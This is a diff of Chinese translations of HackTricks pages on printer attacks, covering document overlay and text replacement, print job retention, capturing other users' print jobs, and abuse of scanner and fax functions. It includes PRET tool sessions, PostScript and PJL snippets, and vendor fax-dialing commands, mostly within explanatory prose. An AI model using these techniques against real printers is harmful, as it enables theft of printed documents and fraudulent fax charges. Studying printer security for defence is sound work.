因此,她可以用自定义的EPS文件覆盖所有要打印的页面。此黑客技术可用于**向文档的硬拷贝添加任意图形或字体**(通过覆盖空白页面然后添加自定义内容,可以完全改变文档的外观)。\
|
||||
显然,这种方法只有在使用PostScript作为打印机驱动程序且没有设置`StartJobPassword`时才能成功。
|
||||
|
||||
![](http://hacking-printers.net/wiki/images/thumb/9/93/Overlay.jpg/300px-Overlay.jpg)
|
||||
|
||||
|
@ -39,14 +37,14 @@ printer:/> exit
|
|||
```
|
||||
# 内容替换
|
||||
|
||||
即使攻击者可以在现有文档上放置覆盖层,她也无法修改原始文档中的特定值,除非她知道其确切结构。有时候,人们不仅想添加自定义内容,还想解析和替换现有文档的部分内容。\
|
||||
在PostScript文件中替换文本的问题可以简化为从渲染的文档中提取字符串的问题。这并不是一件简单的事情,因为字符串可以由PostScript程序自身动态构建。因此,在文档源代码中进行简单的解析和替换不是一个选择。\
|
||||
您可以使用重新定义的`show`操作符。show操作符接受一个字符串作为输入,该字符串将绘制到当前页面的特定位置。通过重新定义操作符,可以优雅地提取文本。这种方法也可以用于在字符串被绘制之前有针对性地搜索和替换。\
|
||||
这种方法对于直接发送到打印机的基于LaTeX的PostScript文档非常成功,但对于由GIMP生成的PostScript文件失败,因为它们不是字符串,而是它们的表示的光栅图形。当CUPS处理任何文档格式(甚至是PostScript本身)时,都会出现相同的问题。从理论上讲,这种语言结构也可以被解析,并且应该成为进一步研究的对象。
|
||||
即使攻击者可以在现有文档上覆盖一个图层,除非她知道原始文档的确切结构,否则她将无法**更改特定值**。有时候,人们不仅想要添加自定义内容,还想要**解析并替换**现有文档的部分内容。\
|
||||
替换PostScript文件中的文本问题可以归结为**从渲染文档中提取字符串**的问题。这并非易事,因为字符串可能由PostScript程序本身动态构建。因此,简单地在文档源代码中进行解析和替换并不可行。\
|
||||
你可以使用**重新定义的`show`操作符**。show操作符接受一个字符串作为输入,在当前页面的某个位置绘制该字符串。通过重新定义操作符,可以优雅地**提取**文本。这种方法也可以用于在字符串被**绘制**之**前**,针对性地进行**搜索和替换**。\
|
||||
这种方法对于直接发送到打印机的基于**LaTeX**的PostScript文档是**成功的**,但对于由**GIMP**生成的PostScript文件则**失败**,因为它不是使用字符串,而是**创建栅格图形**来表示它们。对于任何文档格式——甚至是PostScript本身——当通过CUPS处理时也会出现同样的问题。理论上,这样的语言结构也可以被解析,应该是进一步研究的对象。
|
||||
|
||||
**如何测试此攻击?**
|
||||
**如何测试这种攻击?**
|
||||
|
||||
在ps模式下使用[**PRET**](https://github.com/RUB-NDS/PRET)的`replace`命令,然后断开连接并打印一个包含“DEF”的PostScript文档。
|
||||
使用[**PRET**](https://github.com/RUB-NDS/PRET)的`replace`命令在ps模式下,然后断开连接并打印包含‘DEF’的PostScript文档:
|
||||
```
|
||||
./pret.py -q printer ps
|
||||
Connection to printer established
|
||||
|
@ -57,16 +55,14 @@ printer:/> exit
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,34 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 作业保留
|
||||
# 打印作业保留
|
||||
|
||||
某些打印机可以从Web服务器访问存储的打印作业。通常情况下,必须显式激活作业保留功能,可以使用标准的PJL命令或专有的PostScript代码来完成。作业将保留在内存中,并可以从控制面板重新打印。
|
||||
某些打印机的存储打印作业可以通过Web服务器访问。通常,打印作业保留必须为特定打印作业明确激活,并且可以使用标准PJL命令或专有的PostScript代码完成。然后,作业将保留在内存中,并且可以从控制面板重新打印。
|
||||
|
||||
## PJL
|
||||
|
||||
可以通过设置PJL HOLD变量来为当前文档启用合法的作业保留,如下所示:
|
||||
通过设置PJL HOLD变量,可以为当前文档启用合法的打印作业保留,如下所示:
|
||||
```
|
||||
@PJL SET HOLD=ON
|
||||
[actual data to be printed follows]
|
||||
```
|
||||
打印作业保留在内存中,并可以从打印机的控制面板重新打印。这个功能被许多打印机支持,然而似乎只有一些爱普生设备允许使用`@PJL DEFAULT HOLD=ON`设置永久作业保留。
|
||||
保留作业会被保存在内存中,并且可以从打印机的控制面板重新打印。这个功能由多种打印机支持,但似乎只有一些Epson设备允许使用`@PJL DEFAULT HOLD=ON`设置永久作业保留。
|
||||
|
||||
**如何测试这种攻击?**
|
||||
|
||||
使用[**PRET** ](https://github.com/RUB-NDS/PRET)中的`hold`命令,在pjl模式下检查是否可以设置永久作业保留:
|
||||
使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`hold`命令在pjl模式下,检查是否可以设置永久作业保留:
|
||||
```
|
||||
./pret.py -q printer pjl
|
||||
Connection to printer established
|
||||
|
@ -42,16 +40,18 @@ Retention for future print jobs: OFF
|
|||
```
|
||||
## PostScript
|
||||
|
||||
PostScript提供类似的功能,但是它是基于型号和供应商的。对于HP LaserJet 4k系列和各种Kyocera打印机,可以通过在PostScript文档前添加以下命令来启用作业保留功能:
|
||||
PostScript 提供了类似的功能,但这些功能是特定于型号和供应商的。对于 HP LaserJet 4k 系列和各种 Kyocera 打印机,可以通过在 PostScript 文档前添加以下命令来启用打印作业保留功能:
|
||||
```
|
||||
<< /Collate true /CollateDetails
|
||||
<< /Hold 1 /Type 8 >> >> setpagedevice
|
||||
```
|
||||
虽然在理论上可以使用[startjob](./#postscript-ps)操作符永久启用PostScript作业保留,但是CUPS在每个打印作业开始时都会使用`<< /Collate false >> setpagedevice`显式重置此设置。然而,为了对抗这种保护机制,攻击者可以永久重新定义`setpagedevice`操作符,使其完全无效。
|
||||
```markdown
|
||||
虽然理论上可以使用[startjob](./#postscript-ps)操作符永久启用PostScript作业保留,但是CUPS会在每个打印作业开始时使用`<< /Collate false >> setpagedevice`明确重置此设置。然而,攻击者可以永久重新定义`setpagedevice`操作符,使其完全不起作用。
|
||||
|
||||
**如何测试此攻击?**
|
||||
|
||||
在ps模式下使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`hold`命令:
|
||||
使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`hold`命令在ps模式下:
|
||||
```
|
||||
```
|
||||
./pret.py -q printer ps
|
||||
Connection to printer established
|
||||
|
@ -60,16 +60,16 @@ Welcome to the pret shell. Type help or ? to list commands.
|
|||
printer:/> hold
|
||||
Job retention enabled.
|
||||
```
|
||||
# 任务捕获
|
||||
# 作业捕获
|
||||
|
||||
如上所述,通过打开打印对话框,激活作业保留是可能的,但不常见。然而,使用PostScript,可以完全访问当前的打印作业,并且使用[startjob](./#postscript-ps)运算符,甚至可以打破服务器循环并访问未来的作业。如果使用PostScript作为打印机驱动程序,这种功能有可能捕获所有文档。
|
||||
如上所述,在打印对话框中激活作业保留是可能的,但不常见。然而,使用PostScript,可以完全控制当前的打印作业,并且使用[startjob](./#postscript-ps)操作符,甚至可以跳出服务器循环并访问未来的作业。如果使用PostScript作为打印机驱动程序,这样的功能有潜力捕获所有文档。
|
||||
|
||||
## PostScript
|
||||
|
||||
通过能够钩入任意的PostScript运算符,可以操纵和访问外部的打印作业。为了**解析发送到打印机的实际数据流**,可以应用PostScript语言的一个很酷的特性:使用`currentfile`运算符将自己的程序代码作为数据读取。通过这种方式,可以通过读取并将要由PostScript解释器处理的整个数据流存储到打印机设备上的文件中来访问整个数据流。如果打印机不提供文件系统访问权限,**捕获的文档可以存储在内存中**,例如在永久的PostScript字典中。\
|
||||
一个实际的问题是决定**应该钩入哪个运算符**,因为在PostScript解释器处理此运算符之前,无法访问数据流。由于攻击者希望从一开始就捕获打印作业,所以**重新定义的运算符必须是包含在PostScript文档中的第一个运算符**。幸运的是,使用CUPS打印的所有文档都被压缩成一个固定的结构,以`currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`开头。基于这种固定结构的假设,攻击者可以从一开始就捕获文档,并在之后执行(即打印)该文件。对于**不是CUPS的打印系统**,这种攻击也应该是可能的,但**需要调整运算符**。请注意,通常包括介质大小、用户和作业名称的PostScript头部无法使用此方法捕获,因为我们首先在实际文档的开头进行钩入。另一种在每个打印作业开始时进行钩入的通用策略是设置`BeginPage`系统参数(如果打印机支持的话,大多数打印机都支持)。这种漏洞可能已经存在于打印设备中几十年了,因为它仅滥用了PostScript标准定义的语言结构。
|
||||
通过能够挂钩任意PostScript操作符,可以操纵和访问外部打印作业。为了**解析实际发送到打印机的数据流**,可以利用PostScript语言的一个非常酷的特性:使用`currentfile`操作符将其自己的程序代码作为数据读取。这样,整个要被PostScript解释器处理的数据流可以通过读取访问,并存储到打印机设备上的文件中。如果打印机不提供文件系统访问,**捕获的文档可以存储在内存中**,例如在永久PostScript字典中。\
|
||||
一个实际问题是决定**应该挂钩哪个操作符**,因为在PostScript解释器处理这个操作符之前,不会获得数据流的访问权限。由于攻击者希望从一开始就捕获打印作业,**重新定义的操作符必须是PostScript文档中的第一个操作符**。幸运的是,所有使用CUPS打印的文档都被压缩成一个固定结构,开始于`currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`。基于这样一个固定结构的假设,攻击者可以从一开始就捕获文档,并在之后执行(也就是打印)文件。对于**非CUPS的打印系统**,这种攻击也应该是可能的,但是**需要适配操作符**。请注意,使用这种方法无法捕获通常包括介质大小、用户和作业名称的PostScript头部,因为我们首先在实际文档的开始处挂钩。另一个在每个打印作业开始时挂钩的通用策略是设置`BeginPage`系统参数,如果打印机支持的话(大多数打印机都支持)。这个漏洞可能在打印设备中存在了几十年,因为仅仅是滥用了PostScript标准定义的语言结构。
|
||||
|
||||
在ps模式下使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`capture`命令:
|
||||
使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`capture`命令在ps模式下:
|
||||
```
|
||||
./pret.py -q printer ps
|
||||
Connection to printer established
|
||||
|
@ -87,7 +87,7 @@ printer:/> capture start
|
|||
Future print jobs will be captured in memory!
|
||||
printer:/> exit
|
||||
```
|
||||
现在,打印任意文档(确保PRET未连接,以免阻塞打印通道)。之后,您可以列出、获取或重新打印已捕获的文档:
|
||||
现在,打印任意文档(确保PRET已断开连接,以免阻塞打印通道)。之后,您可以列出、获取或重新打印捕获的文档:
|
||||
```
|
||||
./pret.py -q printer ps
|
||||
Connection to printer established
|
||||
|
@ -113,16 +113,14 @@ Stopping job capture, deleting recorded jobs
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,73 +1,78 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者想要获得**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 扫描仪
|
||||
|
||||
对于多功能打印机/外围设备(MFP),访问扫描功能并没有标准化,似乎只有少数供应商使用 PJL 命令来执行此任务。公开的文档缺失,[SANE 项目](http://www.sane-project.org/sane-backends.html#SCANNERS)成功地对各种扫描设备的协议进行了逆向工程。在 Brother MFP 上,可能会使用专有的 PostScript 运算符 \_brpdfscan。
|
||||
对于多功能打印机/外围设备(MFPs)的扫描功能访问并没有标准化,似乎只有少数厂商对此任务应用PJL命令。公开文档缺失,[SANE项目](http://www.sane-project.org/sane-backends.html#SCANNERS)设法逆向工程了各种扫描设备的协议。在Brother多功能打印机上,可能使用专有的PostScript操作符\_brpdfscan。
|
||||
|
||||
**如何测试此攻击?**
|
||||
|
||||
安装特定型号的打印机驱动程序并(滥用)使用扫描功能。
|
||||
安装特定型号的打印机驱动程序,并(滥用)扫描功能。
|
||||
|
||||
**谁可以执行此攻击?**
|
||||
|
||||
* 任何可以打印的人,如果扫描功能可以通过[打印机控制](http://hacking-printers.net/wiki/index.php/Fundamentals#Printer_Control_Languages)或[页面描述](http://hacking-printers.net/wiki/index.php/Fundamentals#Page_Description_Languages)语言访问
|
||||
* 任何可以访问 Web 界面的人,如果可以使用 Web 界面扫描文档的 MFP
|
||||
* 只有可以访问特定网络服务的攻击者,如果扫描使用单独的 TCP 端口
|
||||
* 任何可以打印的人,如果可以通过[打印机控制](http://hacking-printers.net/wiki/index.php/Fundamentals#Printer_Control_Languages)或[页面描述](http://hacking-printers.net/wiki/index.php/Fundamentals#Page_Description_Languages)语言访问扫描功能
|
||||
* 任何可以访问Web界面的人,在MFPs上可以通过Web界面扫描文档
|
||||
* 只有能够访问某些网络服务的攻击者,如果使用单独的TCP端口进行扫描
|
||||
|
||||
# 传真
|
||||
|
||||
传真消息以音频频率音调的形式传输。它们可以发送到电话系统上可用的任何支持传真的设备。因此,它们有可能用于绕过典型的公司保护机制,如 TCP/IP 防火墙或入侵检测系统,并在内部网络中执行恶意命令,以控制打印机或 MFP。在 90 年代中期,Adobe 引入了“PostScript 传真”作为一种语言补充[【1】](http://hacking-printers.net/wiki/index.php/Fax_and_Scanner#cite_note-1),允许兼容设备直接通过传真接收 PostScript 文件。这使得攻击者可以使用普通电话系统作为部署恶意 PostScript 代码的通道。不幸的是,PostScript 传真从未得到普及,只在少数设备上实现。相反,传真消息通常以图像的形式传输,如[TIFF](https://en.wikipedia.org/wiki/TIFF#TIFF_Compression_Tag)。然而,不能排除其他供应商实现了专有的传真扩展,以接收任意 PDL 数据流而不是原始传真图像。理论上,可以创建一种“传真病毒”,通过感染 MFP 地址簿中的号码或传统的拨号方式来传播。
|
||||
传真消息以音频频率的音调形式传输。它们可以发送到电话系统上任何具有传真功能的设备。因此,它们可能被用来绕过典型的公司保护机制,如TCP/IP防火墙或入侵检测系统,并在内部网络中的打印机或MFPs上执行恶意命令。在90年代中期,Adobe引入了‘PostScript传真’作为语言补充[\[1\]](http://hacking-printers.net/wiki/index.php/Fax_and_Scanner#cite_note-1),允许兼容设备直接通过传真接收PostScript文件。这使得攻击者可以使用普通电话系统作为渠道,将恶意PostScript代码部署到打印机。不幸的是,PostScript传真从未确立自己的地位,只在少数设备中实现。相反,传真消息通常以图形图像(如[TIFF](https://en.wikipedia.org/wiki/TIFF#TIFF_Compression_Tag))的形式传输。然而,不能排除其他厂商实现专有的传真扩展来**接收**任意PDL数据流,而不是原始传真图像。理论上,可以创建一个‘传真病毒’,它会通过感染基于MFPs通讯录中的号码或传统的电话自动拨号来传播。
|
||||
|
||||
此外,今天的 MFP 上的**出站**传真通常可以通过专有的 PJL 命令进行控制。这可以用于通过拨打 0900 号码(可能由攻击者自己注册)造成机构的财务损失,或作为泄露敏感信息的后渠道。以下是使用 PDL 数据流发送传真的供应商特定示例。
|
||||
此外,当今MFPs上的**外发**传真通常可以通过专有的PJL命令控制。这可以通过拨打0900号码(可能由攻击者本人注册)来给机构造成经济损失,或作为一个后门渠道泄露敏感信息。下面给出了通过PDL数据流发送传真的厂商特定示例。
|
||||
|
||||
### HP
|
||||
|
||||
根据[【1】](http://hplipopensource.com),可以使用 PML 在 HP 设备上访问传真。
|
||||
根据[\[1\]](http://hplipopensource.com),HP设备可以使用PML访问传真。
|
||||
|
||||
### Xerox
|
||||
|
||||
根据[【2】](http://www.office.xerox.com/support/dctips/dc02cc0280.pdf),Xerox 使用专有的 PJL 命令:`@PJL COMMENT OID_ATT_FAX_DESTINATION_PHONE "..."`
|
||||
根据[\[2\]](http://www.office.xerox.com/support/dctips/dc02cc0280.pdf),Xerox使用专有的PJL命令:`@PJL COMMENT OID_ATT_FAX_DESTINATION_PHONE "..."`
|
||||
|
||||
### Brother
|
||||
|
||||
根据[【3】](http://brother-mfc.sourceforge.net/faxlanguage.txt),Brother 使用专有的 FCL(传真控制语言):`<Esc>DIALNUM[ (...) ]`
|
||||
根据[\[3\]](http://brother-mfc.sourceforge.net/faxlanguage.txt),Brother使用专有的FCL(传真控制语言):`<Esc>DIALNUM[ (...) ]`
|
||||
|
||||
### Lexmark
|
||||
|
||||
根据[【4】](https://www.lexmark.com/publications/pdfs/techref_WB.pdf),Lexmark 使用专有的 PJL 命令:`@PJL LFAX PHONENUMBER="..."`
|
||||
根据[\[4\]](https://www.lexmark.com/publications/pdfs/techref_WB.pdf),Lexmark使用专有的PJL命令:`@PJL LFAX PHONENUMBER="..."`
|
||||
|
||||
### Kyocera
|
||||
|
||||
根据[【5】](http://material.karlov.mff.cuni.cz/people/hajek/bizhub/femperonpsc200mu.pl),Kyocera 使用专有的 PJL 命令:`@PJL SET FAXTEL = ...`
|
||||
根据[\[5\]](http://material.karlov.mff.cuni.cz/people/hajek/bizhub/femperonpsc200mu.pl),Kyocera使用专有的PJL命令:`@PJL SET FAXTEL = ...`
|
||||
|
||||
### Ricoh
|
||||
|
||||
根据[【6】](http://www.objectiflune.com/forum2/ubbthreads.php?ubb=showflat\&Number=29462\&page=1),Ricoh 使用专有的 PJL 命令:`@PJL ENTER LANGUAGE=RFAX`
|
||||
根据[\[6\]](http://www.objectiflune.com/forum2/ubbthreads.php?ubb=showflat\&Number=29462\&page=1),Ricoh使用专有的PJL命令:`@PJL ENTER LANGUAGE=RFAX`
|
||||
|
||||
\
|
||||
**如何测试此攻击?**
|
||||
|
||||
安装特定型号的打印机驱动程序并(滥用)使用传真功能。
|
||||
安装特定型号的打印机驱动程序,并(滥用)传真功能。
|
||||
|
||||
|
||||
<details>
|
||||
- **加入** [💬](https://emojipedia.org/speech-balloon/) [Discord 群组](https://discord.gg/hRep4RUj7f) 或 [Telegram 群组](https://t.me/peass) 或 **关注**我的 **Twitter** [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,78 +1,77 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
